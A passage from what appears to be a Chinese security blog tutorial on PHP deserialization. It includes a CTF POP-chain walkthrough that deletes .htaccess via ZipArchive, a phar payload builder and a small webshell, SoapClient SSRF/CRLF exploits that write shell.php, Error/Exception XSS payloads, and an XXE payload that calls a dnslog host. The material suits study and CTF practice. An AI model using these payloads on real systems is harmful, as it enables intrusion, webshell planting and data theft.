虽然前面禁止phar出现在url开头,但是可以用php://filter/resource=phar://绕过

既然可以进行反序列化,现在就需要寻找一条利用链来操控.htaccess文件。

先来搜索类中可用魔术方法,在config.php文件的Profile类中发现魔术方法__call(),里面实例化一个admin对象去调用open方法。这个时候就需要寻找包含open方法的内置类,在上面我们提到

ZipArchive::open()在PHP>=5.2.0的时候可以使用,其中flag参数如果设置为ZipArchive::OVERWRITE时,会删除指定文件

可以通过ZipArchive类调用open方法,并设置flag参数为ZipArchive::OVERWRITE来删除.htaccess文件,尝试来构造一个POP链:

1. Profile类中open方法在魔术方法__call内被$this->admin调用,存在同名open方法被php内置类ZipArchive调用,利用此类下的open方法可以作文件删除。此时就需要把admin赋值为ZipArchive类的对象,并构造第一个参数为要删除的文件路径,第二个参数为ZipArchive::OVERWRITE

$this->admin = new ZipArchive()
$this->username = "/var/www/html/sandbox/9106f3386017f844885379f269eb2bff/.htaccess"; 
$this->password = ZIPARCHIVE::OVERWRITE;

2. __call()方法在在对象调用不可访问的方法时触发,在File类中的析构函数中存在$this->checker = upload_file(),当给checker赋值为Profile类的对象,此时调用upload_file(),由于函数不存在。那么就会触发__call魔术方法

$this->checker = new Profile()

最终的调用链为:

Profile::open() <-- Profile::__call <-- File::__destruct

从view.php文件中获取用户输入,并且实例化File类的对象调用view_detail()方法,在使用mimi_content_type()检测上传文件头时,会对参数$this->filepath进行phar://反序列化,先来构造一个包含序列化payload的phar文件

<?php
class File{
 
    public $filename;
    public $filepath;
    public $checker;
 
    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
        $this->checker = new Profile();
    }
}
 
class Profile{
 
    public $username;
    public $password;
    public $admin;
 
    function __construct()
    {
        $this->username =  "/var/www/html/sandbox/9106f3386017f844885379f269eb2bff/.htaccess";
        $this->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
        $this->admin = new ZipArchive();
    }
}
$a = new File('filename','filepath');
@unlink("joker.phar");
$phar = new Phar("joker.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

将生成的joker.phar上传上去

将构造的变形小马1.php传上去

<?php
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>

访问上传上去的phar文件,这里需要注意在view_detail()方法中对filepath进行检测,禁止phar开头,需要使用php://filter/resource=phar://...../xxxx.phar绕过

触发反序列化链删除.htaccess文件

访问上传上去的小马文件

发现成功解析php文件,并获取flag

原生类利用之SoapClient::__call

SoapClient::__call

SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。

其采用HTTP作为底层通讯协议,XML作为数据传送的格式

SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。

官方手册中这样介绍

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数为wsdl文件的uri,如果是NULL意味着不使用WSDL模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

php中的SoapClient类可以创建soap数据报文,在非wsdl模式下,SoapClient的实例反序列化的时候会对第二个参数指明的url进行soap请求,那就意味着可以通过该内置类来进行SSRF。

因为SoapClient类中提供了一个魔术方法__call(),这个魔术方法在对象中调用不可访问的方法时触发

测试下正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法

(如果想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项)

<?php
    $a = new SoapClient(null,array('uri'=>'xxx', 'location'=>'http://127.0.0.1:5555/yyy'));
    $b = serialize($a);
    echo $b;
    $c = unserialize($b);
    $c->not_exists_function();
?>

当把上述脚本得到的序列化串进行反序列化(unserialize),并执行一个SoapClient没有的成员函数时,会自动调用该类的__Call方法,然后向target_url发送一个soap请求,并且uri选项是我们可控的地方。

在使用SoapClient类也会有CRLF注入的问题

可以看到options参数中还有一个选项为user_agent,运行我们自己设置User-Agent的值。

当我们可以控制User-Agent的值时,也就意味着我们完全可以构造一个POST请求,因为Content-Type为和Content-Length都在User-Agent之下,而控制这两个是利用CRLF发送post请求最关键的地方。

简单进行测试

<?php
    $a = new SoapClient(null,array('uri'=>"xxx\r\n\r\nzzz\r\n", 'location'=>'http://127.0.0.1:5555/yyy'));
    $b = serialize($a);
    echo $b;
    $c = unserialize($b);
    $c->not_exists_function();
?>

最后给出wupco师傅的生成任意POST报文的POC:

<?php
  $target = 'http://123.206.216.198/bbb.php';
  $post_string = 'a=b&flag=aaa';
  $headers = array(
      'X-Forwarded-For: 127.0.0.1',
      'Cookie: xxxx=1234'
   );
  $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

  $aaa = serialize($b);
  $aaa = str_replace('^^','%0d%0a',$aaa);
  $aaa = str_replace('&','%26',$aaa);
  echo $aaa;
?>

如果是GET请求的话,那么构造好location就行:

<?php
  $url = "http://127.0.0.1/flag.php";
  $b = new SoapClient(null, array('uri' => $url, 'location' => $url));
  $a = serialize($b);
  $a = str_replace('^^', "\r\n", $a);
  echo "|" . urlencode($a);
?>

利用场景:

demo.php

<?php 
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
    echo 'hi';
    @$a=$_POST[1];
    @eval($a);
}
?>

exp.php

<?php
$target= 'http://127.0.0.1/demo.php';
$post_string= '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers= array(
   'X-Forwarded-For:127.0.0.1',
   'Cookie:admin=1'
   );
$b= new SoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"xxx"));
//因为User-agent是可以控制的,因此可以利用crlf注入http头部发送post请求
$aaa= serialize($b);
$aaa= str_replace('^^','%0d%0a',$aaa);
$aaa= str_replace('&','%26',$aaa);
echo $aaa;

$x= unserialize(urldecode($aaa));
//调用__call方法触发网络请求发送 $x
->no_func(); ?>

直接访问exp.php就可以成功把payload写入到shell.php文件。

原生类利用之Error/Exception

Error(php7)/Exception(php5,php7)

Error类就是php的一个内置类用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个__toString()魔术方法。

Exception类跟Error类原理一样,但是适用于PHP7,PHP5。

测试demo

<?php
    $a = unserialize($_GET['a']);
    echo $a;
?>

调用Error类生成xss序列化payload:

<?php
    $a = new Error("<script>alert(1)</script>");
    echo urlencode(serialize($a));
    #注意版本是PHP7
?>

得到编码后的序列化结果:

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

传入上述序列化参数

调用Exception类生成xss序列化payload:

<?php
  $a = new Exception("<script>alert(1)</script>");
  echo urlencode(serialize($a));
?>

得到编码后的序列化结果:

O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

传入上述序列化参数

原生类利用之SimpleXMLElement

利用实例化该类的对象来传入xml代码进行xxe攻击,进而读取文件内容和命令执行。

SimpleXMLElement :(PHP 5, PHP 7)

功能 :用来表示XML文档中的元素,为PHP的内置类。

直接传入一个包含恶意payload的XML代码即可。

<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
    <!ENTITY % remote SYSTEM "http://bmjoker.haaf9g.dnslog.cn">%remote;]>
]>
<x>&xee</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
?>

访问php文件,即可造成xxe攻击

参考链接

原理+实践掌握(PHP反序列化和Session反序列化)

php反序列化利用——POP链构造实例

PHP session 常见利用点

PHP反序列化入门之session反序列化

最全的PHP反序列化漏洞的理解和应用

利用session.upload_progress进行文件包含和反序列化渗透

PHP反序列化漏洞入门

PHP序列化反序列化漏洞总结

利用phar伪协议构造php反序列化漏洞

Phar与Stream Wrapper造成PHP RCE的深入挖掘

php反序列化总结

安洵杯2019 官方Writeup(Web/Misc) - D0g3

Bytectf2019-ezcms

SoapClient反序列化SSRF

PHP反序列化进阶学习与总结

php反序列化由浅到深

posted @ 2020-10-19 19:15  bmjoker  阅读(11544)  评论(3编辑  收藏  举报